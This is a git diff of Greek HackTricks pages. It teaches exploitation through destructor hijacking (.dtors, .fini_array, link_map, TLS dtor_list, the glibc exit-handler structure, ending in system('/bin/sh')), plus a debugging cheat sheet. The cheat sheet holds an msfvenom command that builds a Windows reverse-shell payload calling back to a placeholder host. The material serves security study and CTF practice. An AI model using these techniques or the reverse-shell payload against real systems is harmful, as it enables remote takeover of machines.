* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -28,15 +28,15 @@
|
||||||
objdump -s -j .dtors /exec
|
objdump -s -j .dtors /exec
|
||||||
rabin -s /exec | grep “__DTOR”
|
rabin -s /exec | grep “__DTOR”
|
||||||
```
|
```
|
||||||
Συνήθως θα βρείτε τα **σήματα DTOR** **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι αν βλέπετε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία συνάρτηση που έχει καταχωρηθεί**. Επομένως, **αντικαταστήστε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
|
Συνήθως θα βρείτε τα **σήματα DTOR** **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν βλέπετε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία συνάρτηση που έχει καταχωρηθεί**. Επομένως, **αντικαταστήστε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Φυσικά, πρώτα πρέπει να βρείτε ένα **μέρος για να αποθηκεύσετε το shellcode** ώστε να το καλέσετε αργότερα.
|
Φυσικά, πρέπει πρώτα να βρείτε ένα **μέρος για να αποθηκεύσετε το shellcode** ώστε να το καλέσετε αργότερα.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **.fini\_array**
|
## **.fini\_array**
|
||||||
|
|
||||||
Ουσιαστικά αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα ολοκληρωθεί, όπως η **`.dtors`**. Αυτό είναι ενδιαφέρον όταν μπορείτε να καλέσετε το **shellcode απλά με ένα άλμα σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να πάτε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**.
|
Ουσιαστικά αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα ολοκληρωθεί, όπως η **`.dtors`**. Αυτό είναι ενδιαφέρον όταν μπορείτε να καλέσετε το **shellcode απλά αναπηδώντας σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να πάτε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**.
|
||||||
```bash
|
```bash
|
||||||
objdump -s -j .fini_array ./greeting
|
objdump -s -j .fini_array ./greeting
|
||||||
|
|
||||||
|
@ -47,14 +47,228 @@ Contents of section .fini_array:
|
||||||
|
|
||||||
#Put your address in 0x8049934
|
#Put your address in 0x8049934
|
||||||
```
|
```
|
||||||
#### Αιώνιος βρόχος
|
Σημειώστε ότι όταν εκτελείται μια συνάρτηση από το **`.fini_array`** μετακινείται στην επόμενη, οπότε δεν θα εκτελεστεί πολλές φορές (αποτρέποντας ατέρμονες βρόχους), αλλά θα σας δώσει μόνο 1 **εκτέλεση της συνάρτησης** που τοποθετήθηκε εδώ.
|
||||||
|
|
||||||
Για να εκμεταλλευτείτε το **`.fini_array`** για να έχετε έναν αιώνιο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Αν έχετε τουλάχιστον 2 καταχωρήσεις στο **`.fini_array`**, μπορείτε:
|
Σημειώστε ότι οι καταχωρήσεις στο `.fini_array` καλούνται με **αντίστροφη** σειρά, οπότε πιθανόν θέλετε να ξεκινήσετε την εγγραφή από την τελευταία.
|
||||||
|
|
||||||
|
#### Ατέρμονη βρόχος
|
||||||
|
|
||||||
|
Για να εκμεταλλευτείτε το **`.fini_array`** για να έχετε έναν ατέρμονο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Αν έχετε τουλάχιστον 2 καταχωρήσεις στο **`.fini_array`**, μπορείτε:
|
||||||
|
|
||||||
* Χρησιμοποιήστε την πρώτη εγγραφή σας για να **καλέσετε ξανά την ευπάθεια της αυθαίρετης εγγραφής**
|
* Χρησιμοποιήστε την πρώτη εγγραφή σας για να **καλέσετε ξανά την ευπάθεια της αυθαίρετης εγγραφής**
|
||||||
* Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (η συνάρτηση που καλεί όλες τις συναρτήσεις του `.fini_array`) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`**
|
* Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (η συνάρτηση που καλεί όλες τις λειτουργίες του `.fini_array`) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`**
|
||||||
* Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας τις συναρτήσεις του **`.fini_array`** ξανά, οι οποίες θα καλέσουν την ευάθεια της συνάρτησης WWW 2 φορές: μία για την **αυθαίρετη εγγραφή** και μια για να αντικαταστήσει ξανά τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του.
|
* Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας τις λειτουργίες του **`.fini_array`** ξανά, οι οποίες θα καλέσουν την ευάθροτη WWW συνάρτηση 2 φορές: μία για την **αυθαίρετη εγγραφή** και μια για να αντικαταστήσει ξανά τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Σημειώστε ότι με [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** γίνεται **μόνο για ανάγνωση**.
|
Σημειώστε ότι με [**Πλήρη RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** γίνεται **μόνο για ανάγνωση**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
## link\_map
|
||||||
|
|
||||||
|
Όπως εξηγείται [**σε αυτήν την ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Αν το πρόγραμμα τερματίσει χρησιμοποιώντας `return` ή `exit()` θα εκτελέσει το `__run_exit_handlers()` που θα καλέσει τους εγγεγραμμένους καταστροφείς.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Αν το πρόγραμμα τερματίσει μέσω της λειτουργίας **`_exit()`**, θα καλέσει τη **κλήση συστήματος `exit`** και οι χειριστές εξόδου δεν θα εκτελεστούν. Έτσι, για να επιβεβαιώσετε ότι το `__run_exit_handlers()` εκτελείται μπορείτε να ορίσετε ένα σημείο διακοπής σε αυτό.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Ο σημαντικός κώδικας είναι ([πηγή](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||||
|
```c
|
||||||
|
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||||
|
if (fini_array != NULL)
|
||||||
|
{
|
||||||
|
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||||
|
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||||
|
|
||||||
|
while (sz-- > 0)
|
||||||
|
((fini_t) array[sz]) ();
|
||||||
|
}
|
||||||
|
[...]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// This is the d_un structure
|
||||||
|
ptype l->l_info[DT_FINI_ARRAY]->d_un
|
||||||
|
type = union {
|
||||||
|
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||||
|
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Σημειώστε πώς το `map -> l_addr + fini_array -> d_un.d_ptr` χρησιμοποιείται για **υπολογισμό** της θέσης του **πίνακα συναρτήσεων προς κλήση**.
|
||||||
|
|
||||||
|
Υπάρχουν μερικές **επιλογές**:
|
||||||
|
|
||||||
|
* Αντικαταστήστε την τιμή του `map->l_addr` ώστε να δείχνει σε ένα **ψεύτικο `fini_array`** με οδηγίες για εκτέλεση αυθαίρετου κώδικα
|
||||||
|
* Αντικαταστήστε τις καταχωρήσεις `l_info[DT_FINI_ARRAY]` και `l_info[DT_FINI_ARRAYSZ]` (που είναι περίπου διαδοχικές στη μνήμη), ώστε να κάνουν δείκτες σε μια πλαστή δομή `Elf64_Dyn` που θα κάνει ξανά το **`array` να δείχνει σε μια ζώνη μνήμης** που ελέγχεται από τον επιτιθέμενο. 
|
||||||
|
* [**Αυτή η ανάλυση**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) αντικαθιστά το `l_info[DT_FINI_ARRAY]` με τη διεύθυνση μνήμης ενός ελεγχόμενου τμήματος στο `.bss` που περιέχει ένα ψεύτικο `fini_array`. Αυτός ο ψεύτικος πίνακας περιέχει **πρώτα μια** [**διεύθυνση one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) που θα εκτελεστεί και στη συνέχεια τη **διαφορά** μεταξύ της διεύθυνσης αυτού του **ψεύτικου πίνακα** και της τιμής του `map->l_addr` ώστε το `*array` να δείχνει στον ψεύτικο πίνακα.
|
||||||
|
* Σύμφωνα με την κύρια ανάρτηση αυτής της τεχνικής και [**αυτή την ανάλυση**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) το ld.so αφήνει ένα δείκτη στη στοίβα που δείχνει στο δυαδικό `link_map` στο ld.so. Με ένα αυθαίρετο γράψιμο είναι δυνατόν να τον αντικαταστήσετε και να τον κάνετε να δείχνει σε ένα ψεύτικο `fini_array` που ελέγχεται από τον επιτιθέμενο με τη διεύθυνση ενός [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) για παράδειγμα.
|
||||||
|
|
||||||
|
Ακολουθώντας τον προηγούμενο κώδικα μπορείτε να βρείτε μια άλλη ενδιαφέρουσα ενότητα με τον κώδικα:
|
||||||
|
```c
|
||||||
|
/* Next try the old-style destructor. */
|
||||||
|
ElfW(Dyn) *fini = map->l_info[DT_FINI];
|
||||||
|
if (fini != NULL)
|
||||||
|
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Σε αυτήν την περίπτωση θα ήταν δυνατό να αντικατασταθεί η τιμή του `map->l_info[DT_FINI]` που δείχνει σε ένα πλαστό `ElfW(Dyn)` δομή. Βρείτε [**περισσότερες πληροφορίες εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
|
||||||
|
|
||||||
|
## Αντικατάσταση της λίστας dtor\_list αποθήκευσης TLS στο **`__run_exit_handlers`**
|
||||||
|
|
||||||
|
Όπως [**εξηγείται εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), αν ένα πρόγραμμα τερματίζει μέσω `return` ή `exit()`, θα εκτελέσει το **`__run_exit_handlers()`** το οποίο θα καλέσει οποιαδήποτε συνάρτηση καταστροφέων που έχει καταχωρηθεί.
|
||||||
|
|
||||||
|
Κώδικας από το `_run_exit_handlers()`:
|
||||||
|
```c
|
||||||
|
/* Call all functions registered with `atexit' and `on_exit',
|
||||||
|
in the reverse of the order in which they were registered
|
||||||
|
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||||
|
void
|
||||||
|
attribute_hidden
|
||||||
|
__run_exit_handlers (int status, struct exit_function_list **listp,
|
||||||
|
bool run_list_atexit, bool run_dtors)
|
||||||
|
{
|
||||||
|
/* First, call the TLS destructors. */
|
||||||
|
#ifndef SHARED
|
||||||
|
if (&__call_tls_dtors != NULL)
|
||||||
|
#endif
|
||||||
|
if (run_dtors)
|
||||||
|
__call_tls_dtors ();
|
||||||
|
```
|
||||||
|
Κώδικας από το **`__call_tls_dtors()`**:
|
||||||
|
```c
|
||||||
|
typedef void (*dtor_func) (void *);
|
||||||
|
struct dtor_list //struct added
|
||||||
|
{
|
||||||
|
dtor_func func;
|
||||||
|
void *obj;
|
||||||
|
struct link_map *map;
|
||||||
|
struct dtor_list *next;
|
||||||
|
};
|
||||||
|
|
||||||
|
[...]
|
||||||
|
/* Call the destructors. This is called either when a thread returns from the
|
||||||
|
initial function or when the process exits via the exit function. */
|
||||||
|
void
|
||||||
|
__call_tls_dtors (void)
|
||||||
|
{
|
||||||
|
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||||
|
{
|
||||||
|
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||||
|
dtor_func func = cur->func;
|
||||||
|
PTR_DEMANGLE (func); // demangle the function ptr
|
||||||
|
|
||||||
|
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||||
|
func (cur->obj);
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Για κάθε εγγεγραμμένη λειτουργία στο **`tls_dtor_list`**, θα αποκωδικοποιήσει το δείκτη από το **`cur->func`** και θα το καλέσει με το όρισμα **`cur->obj`**.
|
||||||
|
|
||||||
|
Χρησιμοποιώντας τη λειτουργία **`tls`** από αυτό το [**fork του GEF**](https://github.com/bata24/gef), είναι δυνατό να δούμε ότι πραγματικά η **`dtor_list`** είναι πολύ **κοντά** στο **stack canary** και το **PTR\_MANGLE cookie**. Έτσι, με ένα υπερχείλιση σε αυτό, θα ήταν δυνατό να **αντικατασταθεί** το **cookie** και το **stack canary**.\
|
||||||
|
Αν αντικατασταθεί το PTR\_MANGLE cookie, θα ήταν δυνατό να **παρακάμψει η λειτουργία `PTR_DEMANLE`** καθώς η ρύθμισή του σε 0x00, θα σήμαινε ότι το **`xor`** που χρησιμοποιείται για να λάβει την πραγματική διεύθυνση είναι απλά η διεύθυνση που έχει ρυθμιστεί. Στη συνέχεια, γράφοντας στο **`dtor_list`** είναι δυνατό να **αλυσιδωθούν αρκετές λειτουργίες** με τη διεύθυνση της λειτουργίας και το **όρισμά** της.
|
||||||
|
|
||||||
|
Τέλος, παρατηρήστε ότι ο αποθηκευμένος δείκτης δεν θα υποστεί μόνο λογική πράξη XOR με το cookie αλλά θα περιστραφεί επίσης 17 bits:
|
||||||
|
```armasm
|
||||||
|
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||||
|
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||||
|
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
||||||
|
```
|
||||||
|
Έτσι πρέπει να λάβετε υπόψη πριν προσθέσετε μια νέα διεύθυνση.
|
||||||
|
|
||||||
|
Βρείτε ένα παράδειγμα στην [**αρχική δημοσίευση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
|
||||||
|
|
||||||
|
## Άλλες μεταβλημένες δείκτες στο **`__run_exit_handlers`**
|
||||||
|
|
||||||
|
Αυτή η τεχνική εξηγείται [**εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) και εξαρτάται ξανά από το πρόγραμμα **που τερματίζει καλώντας `return` ή `exit()`** έτσι ώστε να κληθεί το **`__run_exit_handlers()`**.
|
||||||
|
|
||||||
|
Ας ελέγξουμε περισσότερο κώδικα αυτής της συνάρτησης:
|
||||||
|
```c
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
struct exit_function_list *cur;
|
||||||
|
|
||||||
|
restart:
|
||||||
|
cur = *listp;
|
||||||
|
|
||||||
|
if (cur == NULL)
|
||||||
|
{
|
||||||
|
/* Exit processing complete. We will not allow any more
|
||||||
|
atexit/on_exit registrations. */
|
||||||
|
__exit_funcs_done = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (cur->idx > 0)
|
||||||
|
{
|
||||||
|
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||||
|
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||||
|
|
||||||
|
switch (f->flavor)
|
||||||
|
{
|
||||||
|
void (*atfct) (void);
|
||||||
|
void (*onfct) (int status, void *arg);
|
||||||
|
void (*cxafct) (void *arg, int status);
|
||||||
|
void *arg;
|
||||||
|
|
||||||
|
case ef_free:
|
||||||
|
case ef_us:
|
||||||
|
break;
|
||||||
|
case ef_on:
|
||||||
|
onfct = f->func.on.fn;
|
||||||
|
arg = f->func.on.arg;
|
||||||
|
PTR_DEMANGLE (onfct);
|
||||||
|
|
||||||
|
/* Unlock the list while we call a foreign function. */
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
onfct (status, arg);
|
||||||
|
__libc_lock_lock (__exit_funcs_lock);
|
||||||
|
break;
|
||||||
|
case ef_at:
|
||||||
|
atfct = f->func.at;
|
||||||
|
PTR_DEMANGLE (atfct);
|
||||||
|
|
||||||
|
/* Unlock the list while we call a foreign function. */
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
atfct ();
|
||||||
|
__libc_lock_lock (__exit_funcs_lock);
|
||||||
|
break;
|
||||||
|
case ef_cxa:
|
||||||
|
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||||
|
we must mark this function as ef_free. */
|
||||||
|
f->flavor = ef_free;
|
||||||
|
cxafct = f->func.cxa.fn;
|
||||||
|
arg = f->func.cxa.arg;
|
||||||
|
PTR_DEMANGLE (cxafct);
|
||||||
|
|
||||||
|
/* Unlock the list while we call a foreign function. */
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
cxafct (arg, status);
|
||||||
|
__libc_lock_lock (__exit_funcs_lock);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||||
|
/* The last exit function, or another thread, has registered
|
||||||
|
more exit functions. Start the loop over. */
|
||||||
|
goto restart;
|
||||||
|
}
|
||||||
|
|
||||||
|
*listp = cur->next;
|
||||||
|
if (*listp != NULL)
|
||||||
|
/* Don't free the last element in the chain, this is the statically
|
||||||
|
allocate element. */
|
||||||
|
free (cur);
|
||||||
|
}
|
||||||
|
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
```
|
||||||
|
Η μεταβλητή `f` δείχνει στη δομή **`initial`** και ανάλογα με την τιμή του `f->flavor` θα κληθούν διαφορετικές συναρτήσεις.\
|
||||||
|
Ανάλογα με την τιμή, η διεύθυνση της συνάρτησης που θα κληθεί θα βρίσκεται σε διαφορετική θέση, αλλά θα είναι πάντα **αποκωδικοποιημένη**.
|
||||||
|
|
||||||
|
Επιπλέον, στις επιλογές **`ef_on`** και **`ef_cxa`** είναι επίσης δυνατόν να ελέγξετε ένα **όρισμα**.
|
||||||
|
|
||||||
|
Είναι δυνατόν να ελέγξετε τη δομή **`initial`** σε μια συνεδρία εντοπισμού σφαλμάτων με το GEF εκτελώντας **`gef> p initial`**.
|
||||||
|
|
||||||
|
Για να εκμεταλλευτείτε αυτό, πρέπει είτε να **διαρρεύσετε είτε να διαγράψετε το `PTR_MANGLE` cookie** και στη συνέχεια να αντικαταστήσετε μια είσοδο `cxa` στο initial με `system('/bin/sh')`.\
|
||||||
|
Μπορείτε να βρείτε ένα παράδειγμα αυτού στην [**αρχική ανάρτηση στο blog σχετικά με την τεχνική**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
@ -15,7 +15,7 @@
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Metasploit
|
## Metasploit
|
||||||
```
|
```bash
|
||||||
pattern_create.rb -l 3000 #Length
|
pattern_create.rb -l 3000 #Length
|
||||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||||
nasm_shell.rb
|
nasm_shell.rb
|
||||||
|
@ -23,13 +23,17 @@ nasm> jmp esp #Get opcodes
|
||||||
msfelfscan -j esi /opt/fusion/bin/level01
|
msfelfscan -j esi /opt/fusion/bin/level01
|
||||||
```
|
```
|
||||||
### Shellcodes
|
### Shellcodes
|
||||||
```
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
## GDB
|
## GDB
|
||||||
|
|
||||||
### Εγκατάσταση
|
### Εγκατάσταση
|
||||||
```
|
```bash
|
||||||
apt-get install gdb
|
apt-get install gdb
|
||||||
```
|
```
|
||||||
### Παράμετροι
|
### Παράμετροι
|
||||||
|
@ -85,6 +89,8 @@ x/xw &pointer # Address where the pointer is located
|
||||||
x/i $eip # Instructions of the EIP
|
x/i $eip # Instructions of the EIP
|
||||||
```
|
```
|
||||||
### [GEF](https://github.com/hugsy/gef)
|
### [GEF](https://github.com/hugsy/gef)
|
||||||
|
|
||||||
|
Μπορείτε προαιρετικά να χρησιμοποιήσετε [**αυτό το fork του GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) που περιέχει πιο ενδιαφέρουσες οδηγίες.
|
||||||
```bash
|
```bash
|
||||||
help memory # Get help on memory command
|
help memory # Get help on memory command
|
||||||
canary # Search for canary value in memory
|
canary # Search for canary value in memory
|
||||||
|
@ -128,7 +134,7 @@ gef➤ pattern search 0x6261617762616176
|
||||||
|
|
||||||
#### Ίδιες διευθύνσεις στο GDB
|
#### Ίδιες διευθύνσεις στο GDB
|
||||||
|
|
||||||
Κατά την εκτέλεση αποσφαλμάτωσης στο GDB, **ο GDB θα έχει ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
|
Κατά την εντοπισμό σφαλμάτων στο GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
|
||||||
|
|
||||||
* `unset env LINES`
|
* `unset env LINES`
|
||||||
* `unset env COLUMNS`
|
* `unset env COLUMNS`
|
||||||
|
@ -136,7 +142,7 @@ gef➤ pattern search 0x6261617762616176
|
||||||
* Εκμεταλλευτείτε το δυαδικό χρησιμοποιώντας την ίδια απόλυτη διαδρομή
|
* Εκμεταλλευτείτε το δυαδικό χρησιμοποιώντας την ίδια απόλυτη διαδρομή
|
||||||
* Τα `PWD` και `OLDPWD` πρέπει να είναι τα ίδια κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού
|
* Τα `PWD` και `OLDPWD` πρέπει να είναι τα ίδια κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού
|
||||||
|
|
||||||
#### Backtrace για εύρεση κλήσεων συναρτήσεων
|
#### Ανίχνευση συναρτήσεων που καλούνται με backtrace
|
||||||
|
|
||||||
Όταν έχετε ένα **δυαδικό που έχει συνδεθεί στατικά**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτήν την περίπτωση θα είναι δύσκολο να **αναγνωρίσετε τη ροή που ακολουθεί το δυαδικό για παράδειγμα για να ζητήσει είσοδο από τον χρήστη**.\
|
Όταν έχετε ένα **δυαδικό που έχει συνδεθεί στατικά**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτήν την περίπτωση θα είναι δύσκολο να **αναγνωρίσετε τη ροή που ακολουθεί το δυαδικό για παράδειγμα για να ζητήσει είσοδο από τον χρήστη**.\
|
||||||
Μπορείτε εύκολα να αναγνωρίσετε αυτήν τη ροή **τρέχοντας** το δυαδικό με το **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κληθείσες συναρτήσεις:
|
Μπορείτε εύκολα να αναγνωρίσετε αυτήν τη ροή **τρέχοντας** το δυαδικό με το **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κληθείσες συναρτήσεις:
|
||||||
|
@ -148,7 +154,7 @@ gef➤ bt
|
||||||
#3 0x00000000004011a9 in ?? ()
|
#3 0x00000000004011a9 in ?? ()
|
||||||
#4 0x0000000000400a5a in ?? ()
|
#4 0x0000000000400a5a in ?? ()
|
||||||
```
|
```
|
||||||
### GDB server
|
### Εξυπηρετητής GDB
|
||||||
|
|
||||||
`gdbserver --multi 0.0.0.0:23947` (στο IDA πρέπει να συμπληρώσετε τον απόλυτο δρόμο του εκτελέσιμου στη μηχανή Linux και στη μηχανή Windows)
|
`gdbserver --multi 0.0.0.0:23947` (στο IDA πρέπει να συμπληρώσετε τον απόλυτο δρόμο του εκτελέσιμου στη μηχανή Linux και στη μηχανή Windows)
|
||||||
|
|
||||||
|
@ -156,18 +162,24 @@ gef➤ bt
|
||||||
|
|
||||||
### Εύρεση μετατόπισης στοίβας
|
### Εύρεση μετατόπισης στοίβας
|
||||||
|
|
||||||
**Το Ghidra** είναι πολύ χρήσιμο για να βρείτε τη **μετατόπιση** για ένα **buffer overflow χάρη στις πληροφορίες για τη θέση των τοπικών μεταβλητών.**\
|
**Το Ghidra** είναι πολύ χρήσιμο για την εύρεση της **μετατόπισης** για ένα **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
|
||||||
